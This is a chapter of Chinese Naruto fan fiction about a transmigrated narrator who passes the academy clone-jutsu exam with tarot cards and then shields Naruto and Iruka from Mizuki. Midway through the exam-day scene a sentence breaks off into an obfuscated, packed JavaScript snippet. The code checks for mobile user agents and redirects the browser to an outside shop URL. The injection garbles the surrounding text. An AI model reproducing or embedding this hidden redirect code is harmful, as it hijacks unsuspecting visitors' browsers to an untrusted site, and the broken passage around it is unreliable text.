“嗯!体术和基础忍术我都有在练习,鸣人帮了我很多。变身术也……嗯,应该没问题。虽然我还没实际试过……” 虽然知道剧情,但真正要上场考试,心里还是有点打鼓。我能感知到体内微弱的查克拉,却始终难以有效调动。尤其是在目睹了佐助那种完美的表现之后…… “哼!变身术有什么难的!” 鸣人放下空碗,满足地打了个饱嗝, “本大爷明天就变个超级厉害的给你看!保证比佐助那个臭屁家伙还要完美!” “哦?” 伊鲁卡老师挑了挑眉,语气带着一丝不易察觉的考校 “那你打算变个什么超级厉害的?先说好,如果再是今天那种……‘创新’,我可不会让你通过的。” 鸣人一噎,脸憋得有点红,梗着脖子 “当、当然是变个超级帅气的忍者!比火影还帅的那种!” “最好是。” 伊鲁卡老师没再深究,只是深深地看了鸣人一眼,那眼神里包含了太多复杂的东西——担忧、期望、还有一丝不易察觉的……温柔? “但是,鸣人,” 伊鲁卡老师的声音沉静下来 “你知道历代火影都意味着什么吗?为什么还要在那里涂鸦?” 他眼中透着深深的不解。 “简单来说,能继承火影这个名字的人,就是村里最强的忍者了吧?” 鸣人难得地认真回答,声音低了些 “尤其是第四代……” 我小口小口地嗦着拉面,胸口莫名地发紧。此刻的鸣人还不知道第四代火影就是他的父亲…… “不过,伊鲁卡老师……我还有一事相求……” 鸣人忽然双手合十,脸上堆起讨好的笑容,目光灼灼地盯着伊鲁卡老师。我知道,他想要的是伊鲁卡老师额头的护额。 和原著里一样,伊鲁卡老师坚定地拒绝了,并让他等明天毕业考完拿到属于自己的护额。我心里明白,鸣人无法通过明天的毕业考试……他需要经历那个夜晚,那个禁术卷轴的事件…… “再来一碗!” ………… 回到和鸣人合住的公寓,躺在床上,我却毫无睡意。窗外的月光异常清亮。胸口闷闷的,像压着一块小石头。我知道剧情的走向,知道鸣人明天会因为分身术失败而落榜,知道水木的阴谋……这份“预知”带来的不是安心,反而是一种更深的无力感和焦灼。 我能改变什么吗?直接告诉伊鲁卡老师水木是叛徒?谁会相信我这样一个来历不明的旁听生?而且……贸然改变关键节点,会不会引发更不可控的后果?鸣人需要经历这次挫折,才能学会影分身之术,才能迈出成为忍者的第一步。可是,想到他明天失望的眼神……心口就忍不住揪紧。 纷乱的思绪中,时间悄然流逝,最终,意识沉入了睡眠…… ………… 初夏(或仲夏)的木叶隐村,空气中弥漫着躁动与湿热的粘稠感。蝉鸣在茂密的树冠间不知疲倦地嘶鸣,阳光炽烈,毫不留情地炙烤着大地。忍者学校门口人头攒动,比往日喧闹数倍。穿着统一制服的少年少女们聚集着,汗水浸湿了额发和后背,兴奋、忐忑、故作轻松的交谈声混合在燥热的空气里,嗡嗡作响。毕业考核——这道通往忍者之路的正式门槛,就在今天。 我和鸣人挤在人群中。他穿着那件标志性的橙色连帽外套,拉链敞开,露出里面的黑色T恤,金色的头发在闷热的空气中显得有些蔫耷。他双手插在裤兜里,下巴微扬,努力做出一副“老子天下第一”的轻松姿态,但那微微绷紧的肩膀、频繁舔舐干燥嘴唇的动作,以及时不时瞟向教学楼方向的眼神,都出卖了他内心的焦灼。一年的“鸣人流体术特训”在我身上留下了痕迹——掌心薄茧的触感清晰,四肢肌肉记忆着发力方式,面对即将到来的基础体术考核(体能、投掷)不再像一年前那样绝望。但体内那场崩溃留下的虚弱感,如同潜伏在酷暑下的暗流,并未完全消失,在闷热、紧张和疲惫时便会悄然涌动,提醒着我的极限。 “喂,别紧张!” 鸣人用汗津津的胳膊肘撞了我一下,声音刻意拔高 “不就是跑跑跳跳扔个靶子嘛!按我教你的,‘蹬地扭腰甩’!‘力气力气’!记住没?肯定能过!” 他挥舞着拳头,带起一阵微热的风,蓝眼睛里闪烁着熟悉的、近乎执拗的光芒。 “嗯。” 我低声应道,紧了紧手腕上吸满汗的旧护腕。目光扫过人群,看到了被簇拥着的佐助。他安静地站在稍远处的树荫下,黑色的碎发衬得肤色更冷,眼神淡漠,仿佛周遭的喧闹和炎热与他无关。小樱和井野正围着他,脸颊绯红,果然这个年纪的小孩没办法抵挡恋爱的冲击…… 鸣人撇了撇嘴,重重地“哼”了一声 “切,装模作样。” 随即又挺起胸膛 “等着看吧!我漩涡鸣人今天绝对要毕业!就在这大太阳底下!” 他指的是即将在操场进行的体能测试。 ………… 体能测试在毫无遮拦的操场进行。绕圈跑、耐力支撑、基础柔韧……每一项都如同在蒸笼里进行。毒辣的阳光直射下来,地面蒸腾起扭曲的热浪。我咬着牙,调动起身体里每一丝力量,遵循着鸣人刻入骨髓的指令——“蹬地!力气!”。汗水如同小溪般疯狂涌出,瞬间浸透训练服,紧贴在身上,闷热难当。肺叶仿佛被滚烫的空气灼伤。脚步沉重,但每一次迈步都带着坚持。鸣人在旁边跑得同样汗如雨下,橙色的外套颜色更深了,他依旧虎虎生风,时不时吼一嗓子“加油!别停!就当在泥地里躲泥巴!”。成绩堪堪到及格线边缘,但至少,我没有倒下。 第一名,毫无悬念,是佐助。 投掷场同样暴露在灼热的阳光下。站在五米线前,握着被晒得温热的训练手里剑,掌心薄茧摩擦着手柄。靶心在热浪中微微扭曲。压力混合着高温,像一张粘稠的网罩下。手臂僵硬发酸,那熟悉的虚弱感又开始蠢蠢欲动。 “嘿!这边!” 鸣人沙哑的声音从侧后方的树荫下传来。他冲我无声地、夸张地比划着口型:“蹬——地——扭——腰——甩——!力——气——!” 那在酷热中依旧充满活力的样子,像一道电流注入我的身体。重心下沉,右脚猛蹬滚烫的地面——力量传递、旋转、爆发! “咻——!”“咄!” 手里剑稳稳钉在木靶边缘!入木三分! 监考老师抹了把汗,在名单上画了个勾:“合格。” 虚脱般的疲惫和微弱的喜悦同时涌上。我看向树荫,鸣人正兴奋地握紧了拳头。 第一名,依旧是佐助。 不过好在,鸣人的体术成绩并不算太低……至少比我高。但体术考试并不能代表全部,只能证明你体能不错,有成为忍者的潜力。况且,最后在室内进行的忍术考试,才是真正的重中之重。 ………… 体测结束,下午才会进行忍术考试。人群涌向教学楼稍作休息。我和鸣人简单喘了口气,就开始猜测下午会考什么忍术。 “大概是分身术……?”我试着提醒鸣人,心想趁着现在还能临时抱佛脚,多练习一下总没坏处。 “啊——千万不要!分身术我最不会了!” 那一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575527|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鸣人就像被烈日晒蔫的韭菜,整个人都耷拉了下来。我安慰他说如果真是分身术,就抓紧练练,但他还在纠结会不会是变身术或其他。 最后,他认命般地尝试了几下分身术,结果……不尽人意。 “可千万不要是分身术啊!”鸣人对着天空哀嚎。 “这次考核的内容是,分身之术!” 伊鲁卡老师的声音如同宣判。鸣人立刻转过头,用一种“看吧!都怪你这乌鸦嘴!”的悲愤眼神死死盯着我。 ………… 考核按序号顺序进行。被叫到名字的人走进隔壁教室,在场地中央施展分身术。成功者带着轻松或自豪的笑容回到座位,失败者则垂头丧气,教室里的气氛压抑而凝重。 接着,是我的名字被叫响。 “旁听生,该你了。” 空气沉重得几乎无法呼吸。熟悉的恐惧感再次翻涌。就在这时,我脑海中突然闪过鸣人无数次在训练场挥汗如雨的身影,闪过他教我体术时夸张却认真的示范,闪过伊鲁卡老师带着无奈却始终未曾放弃的眼神。甚至,闪过记忆深处,那个夜晚的屋顶……以及那份想要守护什么的决心。 我深吸一口气,努力将外界的喧嚣隔绝,仿佛置身于一片宁静的水面之上。脑海中清晰地回放着伊鲁卡老师教导的分身术要点:查克拉的精准分配、精神的高度集中、对“另一个自己”的具象化想象。这不是表演,而是与自身能量的对话。 就像……和塔罗牌的对话。 莫名的,一些模糊的记忆碎片闪过。我似乎曾撕碎过虚空的塔罗牌,大喊着什么……然后,忍术就出现了?几乎是下意识的,我掏出胸口的塔罗牌,将它们甩向空中——神奇地,它们没有掉落。我在心中默念:教皇先生……请给我一张能完成分身之术的牌吧…… 那一刻,『隐者』牌悄然浮现。我有些疑惑,牌面并非人多势众,反而透着一股孤独的意味。但如果这就是牌的指引…… 我模仿着记忆中的动作,撕开了虚空中那张『隐者』牌的影像。 “分身之术!” 伴随着一声不算响亮但异常清晰的低喝,查克拉猛地从体内爆发出来,化作浓郁的白色烟雾,瞬间将我包裹。 烟雾并非瞬间散去,而是如同被无形之手缓缓拨开。时间仿佛被拉长。我能感觉到查克拉在稳定地维持着形态。当烟雾最终散尽—— 两个身影清晰地出现在场地中央。 那是我。两个一模一样的“我”。 站在左边的“我”,是本尊,呼吸略显急促,额角有细密的汗珠,但眼神明亮而坚定。站在右边的“我”,是分身,虽然身形略显单薄,查克拉波动能看出些微的不稳定(毕竟不是鸣人那种海量查克拉),但轮廓清晰,五官分明,眼神与本尊同步,带着同样的紧张和一丝成功的难以置信。她稳稳地站在那里,没有消散的迹象! 伊鲁卡老师走上前,仔细地看了看我的分身,又看了看本尊。他的目光在我和分身之间来回扫视,脸上严肃的表情慢慢融化,最终化为一个欣慰的、带着赞许的笑容。他点了点头,声音清晰地宣布:“分身术,合格!” “耶!”我听到自己在心里欢呼了一声。分身在本尊解除术式的意念下,“噗”地一声化作白烟消失,查克拉回归自身,带来一阵轻微的疲惫感,但更多的是难以言喻的激动和如释重负。 我居然真的可以使用忍术,在塔罗牌的指引下! 然而,鸣人就没有那么幸运了…… “不合格。” 伊鲁卡老师的声音低沉却清晰,像一块冰冷的石头砸在闷热的空气中,瞬间压过了先前因鸣人那滑稽分身而爆发的哄堂大笑。那三个字带着不容置疑的份量,也狠狠砸在了站在场地中央、那个穿着橙色外套的少年身上。 教室的门虚掩着,我靠在冰冷的门板上,心脏像是被一只无形的手攥紧。这三个字穿透门缝,清晰地落入我的耳中,也如同重锤般敲在我的心上。预知的无力感再次汹涌而来,混合着为鸣人而生的钝痛。 门被下一名考生推开,我的身影暴露在教室门口的光线里。视线穿过人群,精准地捕捉到了鸣人。他背对着我,肩膀似乎垮塌了一瞬,那耀眼的金发在惨白的灯光下也失去了往日的活力。他猛地转过身,低着头,几乎是撞开人群冲了出来。在擦肩而过的瞬间,我清晰地看到了他湛蓝眼眸中那强忍的、晶莹的水光,在眼眶里倔强地打着转,却被他死死压制着,不肯落下。那眼神里充满了巨大的失落、不敢置信,以及一种被当众剥开所有骄傲的难堪。他甚至没有看我一眼,像一只受伤的幼兽,只想逃离这个让他窒息的地方,冲入了走廊的阴影深处。 下一位考生的名字在我耳边模糊地响起,像隔着一层水。我望着鸣人消失的方向,胸口堵得发慌。那抹黯淡的橙色,成了这个燥热下午最刺目的伤痕。我想要立刻去寻找他,但……刚刚通过考试的我……真的可以去找他吗?迟疑绊住了我的脚步。 ………… 夕阳下的木叶隐村,笼罩在一种考试结束后的奇异氛围里,混杂着通过的兴奋与落榜的沮丧。我漫无目的地走在街上,白日里的喧嚣褪去,只剩下心绪不宁。脑海里反复回放着鸣人那双强忍泪水的眼睛,还有伊鲁卡老师宣布“不合格”时那复杂难言的表情。剧情的阴影沉甸甸地压在心头,水木……那张看似温和的面孔下隐藏的恶意,像毒蛇一样缠绕着我的思绪。 不知不觉,脚步将我带到了火影岩附近。夕阳西下,给熟悉的建筑镀上一层金辉,也投下浓重的阴影。就在靠近火影岩边缘的秋千处,我看到了他们。 鸣人像一只被雨水打蔫的小狗,垂着头坐在火影岩轻轻晃荡。而水木老师,就坐在他左边。夕阳勾勒出水木高大却显得有些模糊的身影。他微微弯着腰,脸上挂着那惯常的、极具欺骗性的温和笑容,正对着鸣人说着什么。 距离太远,听不清具体的话语,但那刻意放低的、带着诱哄和同情的语调,却像针一样刺入我的耳朵。我迅速闪身躲在一棵粗大的树干后,屏住呼吸,心脏在胸腔里狂跳。来了……果然来了!我看到水木的手似乎轻轻拍了拍鸣人的肩膀,姿态充满了“理解”和“关怀”。然后,他微微倾身,嘴唇凑近了鸣人的耳边,声音压得更低了。 逆着光,我看到鸣人猛地抬起了头!他脸上原本的颓丧和迷茫瞬间被一种极度的震惊和难以置信所取代,眼睛瞪得滚圆,嘴巴微微张开。紧接着,那震惊迅速转化为一种病态的、狂热的兴奋!他的身体因为激动而微微颤抖,那双蓝色的眼睛在夕阳的余晖中爆发出骇人的光亮,像是溺水的人抓住了最后一根稻草,又像是被蛊惑的信徒看到了神启! “真……真的吗?!”鸣人的声音因为激动而拔高、变调,在这片安静的区域显得格外突兀,“只要……只要拿到那个……我就能毕业?!” 水木嘴角的笑意更深了,带着一种掌控一切的阴冷,他轻轻地点了点头,又凑近说了几句,手指隐秘地指向了学校深处某个方向——毫无疑问,是封印禁术卷轴的保管处。 鸣人猛地从火影岩上跳起来,脸上的狂喜和孤注一掷的决绝混合在一起,形成一种近乎疯狂的表情。他用力地、狠狠地点了下头,像一道橙色的闪电,毫不犹豫地转身,朝着水木所指的方向,义无反顾地冲进了学校建筑的阴影里! “鸣人!别去!那是陷阱!” 我几乎要喊出声,身体本能地想要冲出去阻止他。但理智如同冰冷的锁链,瞬间勒紧了我的喉咙。冲出去又能怎样?水木会立刻察觉,我根本打不过他,只会暴露自己,让事情变得更糟,甚至可能危及鸣人的性命!那份预知带来的无力感和焦灼感几乎将我撕裂,指甲深深掐进掌心,带来尖锐的痛楚,却远不及内心的煎熬。 水木站在原地,看着鸣人消失的方向,脸上那伪装的温和笑容如同面具般迅速剥落,只剩下赤裸裸的、冰冷而贪婪的算计。他左右看了看,确定无人注意后,身影也如同鬼魅般融入渐深的暮色,悄然离去,显然是去准备下一步的阴谋了。 我背靠着粗糙的树干,大口喘着气,冷汗浸湿了后背。心脏在胸腔里疯狂擂动,撞击着肋骨。不行……不能就这样看着!虽然知道这是鸣人必经的磨难,知道他会因此学会多重影分身之术,但看着他被欺骗、走向危险深渊的感觉,太痛苦了! 咬紧牙关,强迫自己冷静下来。回忆着伊鲁卡老师偶尔教过的潜行追踪技巧,以及这一年来被鸣人拖着“逃命”锻炼出的、勉强还算可以的身手。深吸一口气,像一缕轻烟,小心翼翼地绕过月光开始照亮的地带,紧贴着墙壁和树木的阴影,朝着鸣人所去的方向悄无声息地潜行而去…… 8. 『正位隐者』 浓稠如墨的夜色死死扼住死亡森林的咽喉,仅存的几缕月光挣扎着穿透层层叠叠的枝叶,在地面泼洒下支离破碎、摇摇欲坠的光斑。空气冰冷刺骨,裹挟着泥土的腥腐与枝叶霉烂的沉闷气息,与白日里令人窒息的燥热形成地狱与天堂般的割裂。漩涡鸣人那身标志性的橙色运动服,在这绝对的黑暗中,如同唯一跳动的不安火苗。他背靠着一棵需数人合抱的古老橡树,怀中死死箍着一个与他体型极不相称的巨大卷轴——禁书卷轴!卷轴本身仿佛沉睡着远古的意志,其上密密麻麻、流淌着幽暗微光的封印符文,在稀薄的月光下若隐若现,散发出令人心悸的不祥与沉重。 鸣人剧烈地喘息着,每一次吸气都带着破风箱般的嘶鸣,胸腔起伏如同惊涛。汗水混合着林间冰冷的露水,浸透了他额前金发,紧贴在苍白如纸的皮肤上。疲惫与紧张如同两条冰冷的毒蛇,缠绕啃噬着他的神经。然而,水木那充满诱惑的话语—— “只要学会这上面的一个术,你就能毕业了,鸣人!”——却像一剂猛烈的毒药,在他绝望的心湖投下巨石,激起的不是希望,而是一种近乎病态的、孤注一掷的亢奋火焰,正疯狂吞噬他仅存的理智。 我看着他颤抖着手,小心翼翼地展开那禁忌的卷轴,仔仔细细地阅读。距离太远,我听不清他低语的每一个字,但我知道他在做什么——他在学习那传说中的多重影分身之术。 心脏在胸腔里疯狂擂动,每一次搏动都沉重地撞击着肋骨,震得耳膜嗡嗡作响。冰冷的汗水早已浸透单薄的训练服内衬,紧贴皮肤带来刺骨的寒意。大脑在飞速运转,预知的画面如同最残酷的默剧在眼前循环: 水木现身,手里剑撕裂空气,伊鲁卡老师痛苦倒地,然后是逃走的鸣人……出去干扰他学习?还是等待原著剧情的降临?这个念头如同烧红的烙铁,反复灼烫着我的神经。塔罗牌在紧握的掌心中不安地发烫,仿佛感应着主人翻涌的决绝。 就在我挣扎于抉择的边缘时,一个身影已如疾风般冲入了那片微光——是伊鲁卡老师!他站在了鸣人面前,急切地说着什么。我心中一紧,正要冲出灌木丛警告他们快走—— “咻——!!!” 一道凄厉到足以撕裂灵魂的破空声,毫无预兆地刺破了森林死一般的沉寂!一枚淬炼着月光、闪烁着致命寒芒的手里剑,如同地狱深渊射出的毒牙,撕裂黑暗,带着令人头皮炸裂的尖啸,以超越视觉捕捉极限的速度,精准无比地射向鸣人! 就是现在! 身体先于思考做出了决断!恐惧被更强烈的保护欲瞬间碾碎!我如同被压缩到极致的弹簧,猛地从蕨类丛中弹射而出,目标不是水木——那是自杀,而是扑向鸣人和那道死亡寒光的轨迹之间!肺腑中的空气被榨干,化作一声几乎撕裂喉咙的尖叫: “鸣人!伊鲁卡老师!趴下——!!!” 声音尖锐变形,带着垂死般的惊怖,在死寂的森林中轰然炸开! 这突如其来的变故显然超出了水木的预料。阴影中,他投掷的身形似乎有了一丝极其微妙的迟滞。但箭已离弦! 电光火石之间! 预想中利刃穿透鸣人身体的闷响并未传来。我只感到左臂和大腿外侧同时传来一阵难以言喻的剧痛!先是刺骨的冰凉,紧接着是肌肉被强行撕裂、骨骼被硬物狠狠撞击的灼热与恐怖! “呃啊——!” 痛苦的闷哼不受控制地从喉咙挤出。 巨大的冲击力将我狠狠掼在冰冷潮湿、布满腐叶的地面上。左臂和大腿瞬间被温热的濡湿感包裹。一枚手里剑深深嵌入了我的左上臂,另一枚则钉在大腿外侧,锋刃割裂皮肉,鲜血迅速染红了衣袖和裤管。 剧痛与失血带来的眩晕感如潮水般袭来,眼前阵阵发黑,耳鸣不止。我死死咬住下唇,用剧痛刺激神经,目光穿透模糊的视线,死死锁定在鸣人身上——他没事! “哼,真是感人至深啊,旁听生。” 一个冰冷、带着毫不掩饰的恶意和一丝意外嘲弄的声音,如同毒蛇吐信,从侧后方的阴影中传来。 水木高大的身影如同鬼魅,缓缓从一棵扭曲的古树后踱出。他脸上惯常的温和面具彻底剥落,只剩下赤裸裸的、如同打量濒死猎物般的冷酷杀意与贪婪。那双眼睛在月光下闪烁着野兽般的幽光,牢牢锁定在地上染血的封印之书。他手中把玩着另一枚寒光闪闪的手里剑,嘴角残忍地勾起。 “水……水木老师?” 鸣人艰难地抬起头,冲击的疼痛让他脸色惨白,汗珠滚滚而下,但比疼痛更甚的是眼中那铺天盖地的震惊、茫然和深不见底的受伤。他看着挡在他身前、同样倒地的我,最后难以置信地望向水木,声音颤抖。 伊鲁卡老师急切地想冲过来查看我的伤势。 “别过来!” 我厉声喝止,声音因剧痛而嘶哑变形,每一个字都牵扯着伤口 “优先保护鸣人!还有卷轴!” 失血的眩晕感一阵阵袭来,我拼命集中精神,一遍遍在心底嘶吼:不能晕!守护那个笨蛋!守护那个要当火影的笨蛋! “可……” 伊鲁卡老师眼中充满挣扎。 “别管我!伊鲁卡老师!” 我几乎是吼出来,剧痛让冷汗浸透后背 “他的目标是禁术卷轴!阻止他!” 在我的再三拒绝下,伊鲁卡老师眼神一凛,猛地冲到鸣人身前,将他牢牢护在身后,同时摸向腿上的忍具包,目光如鹰隼般锁定阴影中的水木,浑身紧绷,大战一触即发。 “原来如此……我明白了……” 伊鲁卡的声音低沉而冰冷,带着彻骨的寒意。 “鸣人,伊鲁卡害怕你得到那个卷轴!” 水木的声音带着蛊惑的恶意。 鸣人疑惑地“诶?”了一声,看向挡在身前的伊鲁卡老师,眼神瞬间晦暗不明,失望、不解,还有……被欺骗的刺痛感? “别听他胡说,鸣人!别被他骗了!” 伊鲁卡老师厉声喝道,手中已悄然扣住了一枚手里剑。 “那我将真相告诉你吧!” 水木狞笑着,声音陡然拔高。 “住口——!!” 伊鲁卡老师的身影快如离弦之箭,带着不顾一切的决绝,疾冲向水木!他只想堵住那张即将吐出毒液的嘴!他甚至来不及结印,唯一的念头就是阻止! “十二年前……那个夜晚……摧毁了木叶宁静、带来无尽死亡与痛苦的怪物,杀害了伊鲁卡双亲的……九尾妖狐!” “住嘴!不许再说了!” 伊鲁卡老师怒吼着,手中苦无化作寒光直射水木要害! 水木冷笑着,快速结印侧身躲过。同时,我拼尽最后力气,摸出口袋里的苦无甩向水木!然而,受伤的身体让动作迟缓无力,苦无轨迹歪斜,水木甚至不屑一顾,只是轻蔑地侧身避开。 “没有人会认同你的,鸣人!伊鲁卡老师也一样恨你入骨!” 水木的毒语如同淬毒的冰锥,狠狠刺向鸣人。 “你放屁!” 我用尽胸腔里最后的气力嘶吼出声!水木站直身子,居高临下地看向我这个几乎失去行动能力的“小丑”,眼神如同在看一只碍眼的虫子。 “愚蠢至极的吊车尾!” 水木嗤笑一声,鄙夷如同实质 “一个乳臭未干、比鸣人还废物的多管闲事者……” 他阴冷的目光扫过我,如同宣判死刑 “正好一起清理掉!” 我扯出一个虚弱的、带着挑衅的笑容 “哈?是吗?那要不要看看我这个吊车尾,怎么把你干趴下啊!” 话一出口,剧烈的后悔便涌上心头——与一个中忍正面对抗,无异于自杀。我的目的并非战斗,而是为伊鲁卡老师制造机会! “咻——!” 几乎在我话音落下的瞬间,伊鲁卡老师抓住水木分神的刹那,一枚手里剑精准地擦过水木的脸颊,留下一道血痕! “混蛋!去死吧!” 水木彻底被激怒,咆哮着抽出背后的巨大风魔手里剑!沉重的金属在月光下划出死亡的弧光,带着撕裂空气的恐怖尖啸,直冲我和鸣人而来! 伊鲁卡老师瞳孔骤缩!没有丝毫犹豫,他猛地张开双臂,如同守护雏鸟的母鹰,义无反顾地、精准地扑挡在了我们身前!将他那并不宽阔的后背,完全暴露在风魔手里剑致命的轨迹之下! “噗嗤——!!!” 令人牙酸的利刃穿透血肉的声音,清晰地刺入我因剧痛而异常敏锐的耳中! 时间,仿佛在这一刻凝固。 巨大的风魔手里剑,深深地、无情地贯入了伊鲁卡老师的后背!位置靠近肩胛骨下方!鲜血如同压抑了千年的泉眼,瞬间狂喷而出!刺目的猩红在他深绿色的中忍马甲上疯狂蔓延、晕染,在惨淡的月光下绽开一朵巨大而妖异的死亡之花!浓烈到令人作呕的血腥味瞬间弥漫开来! “呃啊——!” 伊鲁卡老师身体猛地一僵,如同被无形的巨锤狠狠砸中脊椎!瞳孔骤然放大到极限,巨大的痛苦瞬间扭曲了他清秀的面容,额角青筋暴起如虬龙,豆大的冷汗混合着血水涔涔而下!他发出一声压抑到极致的痛哼,身体剧烈地摇晃了一下,但那双支撑着我们的腿,如同扎根大地的古树,死死地钉在原地,没有后退哪怕一寸!他用尽全身的力气,甚至催动查克拉强行稳住身形,只为将我和鸣人牢牢护在身后! “伊……伊鲁卡……老师?为……为什么……” 鸣人完全呆滞了,大脑一片空白,湛蓝的眼眸中倒映着老师背后那狰狞的伤口、喷涌的鲜血、以及那因剧痛而微微颤抖却依旧坚毅如山的身影。整个世界的光仿佛都在这一刻熄灭,只剩下这令人心胆俱裂的猩红。巨大的冲击让他忘记了身上擦伤的疼痛,只剩下无边的恐惧、茫然和一种撕心裂肺的“为什么”。 “伊鲁卡老师!” 我失声痛哭,声音因剧痛和巨大的愧疚而嘶哑变形。左臂和大腿的伤口在每一次心跳中都传来撕裂般的痛楚,但远不及看到伊鲁卡老师为我们挡下致命一击所带来的心灵冲击与撕裂感。 “因为我们一样啊……” 伊鲁卡老师的声音微弱,断断续续,每一个字都带着浓重的血腥气,却蕴含着穿透灵魂的力量 “在我父母死后……没有人会夸奖我……也没有人会认同我……成绩不好的我……总在班里做些傻事……只是为了引起别人注意……因为不知道如何引起注意……所以做了很多傻事……真的很痛苦啊……” 他艰难地侧过头,目光穿过血污,深深地看向呆滞的鸣人,那眼神充满了感同身受的悲悯与无尽的自责 “鸣人……对不起……你一定……很痛苦……很寂寞吧……对不起……鸣人……如果我……再用心点……再努力点……你就不会……有这样的回忆了……” 水木被这接二连三的顽强抵抗弄得烦躁不堪,脸上露出更加狰狞和不耐烦的狂笑 “别听他煽情了鸣人!他只是想要你的卷轴!他一直都恨不得你死!” 他猛地抽出另一柄巨大的风魔手里剑,沉重的金属在月光下再次划出冰冷的死亡弧光! “不过既然你们这么想一起死,那就成全你们!” 他狞笑着,双手紧握巨刃,手臂肌肉贲张,将风魔手里剑高举过头,带着撕裂一切的恐怖威势和刺耳的破空声,朝着因重伤而摇摇欲坠的伊鲁卡猛冲而来!要将我们三人一同碾碎! 我看着鸣人因巨大的冲击和痛苦而微微颤抖的身体,手指悄悄地、用力地捏紧了他的手。我不知道这样做对不对,不知道会不会像原著那样触发他的力量,但我只想这么做——不让他像预想中那样独自逃离。 剧情早已因我的存在而偏离轨道,伊鲁卡老师的生死、鸣人的反击都成了未知数。但此刻,我只知道要守护,守护这个喊着要当火影的笨蛋!守护这份来之不易的羁绊! “不……不准你……” 伊鲁卡老师的声音因为贯穿肺腑的剧痛和大量失血而断断续续,气若游丝,每一次呼吸都带着浓重的血腥泡沫。但他依旧死死地盯着步步逼近的死神水木,那双因痛苦而布满血丝的眼睛里,燃烧着足以焚尽一切的愤怒和不容置疑的守护意志! “不……不准你伤害……我的学生!!!” 他用尽生命最后的力量嘶吼,声音虽弱,却如同最后的惊雷,蕴含着震撼人心的力量。 “你的学生?” 水木像是听到了世间最荒诞的笑话,他暂时停下了冲锋的脚步,用充满恶毒快意的眼神,如同玩弄猎物的毒蛇,对着呆滞的鸣人残忍地、一字一顿地撕扯着那血淋淋的“真相” “漩涡鸣人!你这个彻头彻尾的蠢货!你以为他为什么假惺惺地护着你?是因为愧疚?可笑!他只是想亲手拿到卷轴,然后看着你被九尾吞噬,或者……亲手解决掉你这个灾星!” “你胡说八道!” 拖着伤痕累累、几乎麻木的身体,我猛地一挣,不顾左臂和大腿撕裂般的剧痛,硬生生将自己从地上撑起,一瘸一拐地挪到鸣人身前,将他微微颤抖的手攥得更紧。鲜血顺着裤管滴落在腐叶上,但我死死挡在鸣人和水木之间,目光灼灼地逼视着水木。 “如果真是这样,伊鲁卡老师早就有无数次机会下手!简直就是天方夜谭,胡说八道,你说谎不打草稿烂嘴巴!” 我的声音嘶哑却尖锐,充满了愤怒的火焰。 “住口……水木!” 伊鲁卡老师艰难地喘息着,鲜血不断从口中涌出,染红了胸前的衣襟。他看向鸣人的眼神充满了前所未有的痛苦、焦急和一种近乎哀求的光芒 “不要……不要听他胡说……鸣人……咳……咳咳……” 剧烈的咳嗽打断了他的话,更多的鲜血涌出。 “胡说?” 水木仿佛听到了最好笑的笑话,他夸张地摊开手,风魔手里剑的锋刃在月光下闪烁着冰冷的寒光 “看看周围吧,鸣人!看看那些村民看你的眼神!那深入骨髓的厌恶!那避之不及的恐惧!那恨不得你立刻消失的憎恨!难道都是假的吗?伊鲁卡他,每次看到你,难道不会想起被九尾撕碎的父母吗?他怎么可能真心对你好?他只是在可怜你!在用他那可笑的‘教师’身份,为自己和村子犯下的错赎罪罢了!他内心深处,比任何人都恨你!恨你这个夺走他至亲的怪物!!” “不——!!!不是这样的——!!!” 一声带着轻微哭腔、嘶哑却异常尖锐、充满了无尽愤怒和绝望的呐喊,如同受伤母兽濒死的悲鸣,猛地撕裂了水木恶毒的谎言!是我!剧烈的疼痛和滔天的愤怒让我几乎失去了理智,我不顾一切地抬起头,用尽全身最后的力量对着水木,更是对着陷入黑暗深渊的鸣人嘶喊: “他在说谎!鸣人!水木在说谎!伊鲁卡老师他从来没有恨过你!一次都没有!” 我的声音因为激动和伤痛而剧烈颤抖,泪水混合着脸上的泥土和血污肆意流淌。 鸣人空洞的目光被我的声音吸引,茫然地转向我。 “我看到了!我亲眼看到了!” 我指着因失血过多而脸色惨白如纸、气息微弱得如同风中残烛的伊鲁卡老师,声音哽咽却异常清晰,每一个字都像用血喊出 “每一次!每一次你恶作剧,他追着你满村子跑的时候,他眼里燃烧的不是憎恨,是担心!是怕你被愤怒的村民打伤!每一次你考试失败,他大声训斥你的时候,那严厉的语气背后不是厌恶,是着急!是恨铁不成钢!是希望你能快点跟上大家的脚步!他带我们去吃一乐拉面,看着你狼吞虎咽、把汤汁溅得到处都是的时候……” 我的声音哽咽了一下,眼前仿佛浮现出那温暖的灯光下,伊鲁卡老师眼中一闪而过的、如同看着自家顽皮孩子般的无奈与温柔 “……那眼神……那是看自己最重要、最心疼的家人才会有的眼神啊!鸣人!” 我艰难地支撑着摇摇欲坠的身体,不顾左臂和大腿撕裂般的剧痛,目光如同烧红的烙铁,死死逼视着鸣人那双被黑暗笼罩的蓝眸 “你说在你遇到我之前都是一个人……但鸣人,你从来都不是一个人!伊鲁卡老师,他一直都在!在你不知道的角落里,在你因为恶作剧被村民追赶得狼狈不堪的时候,在你考试失败独自一人坐在冷冰冰的秋千上发呆的时候,在你对着火影岩涂鸦的时候……他都在看着你!他只是……只是不知道该怎么靠近你,怎么才能让你明白,你不是怪物,你是漩涡鸣人!是他愿意用生命去守护的学生!” 我的话语,如同在死寂的冰湖上投下了一颗炽热的陨石!鸣人浑身剧烈地一震,空洞的蓝眼睛深处,那如同深渊般凝固的绝望冰层,第一次出现了剧烈的、蛛网般蔓延的裂痕!一丝微弱却无比执拗的、属于“漩涡鸣人”的光芒,在那片被痛苦和谎言淹没的黑暗中,艰难地、拼命地挣扎着,试图穿透出来!他难以置信地看着我,又猛地看向血泊中气息奄奄的伊鲁卡老师。 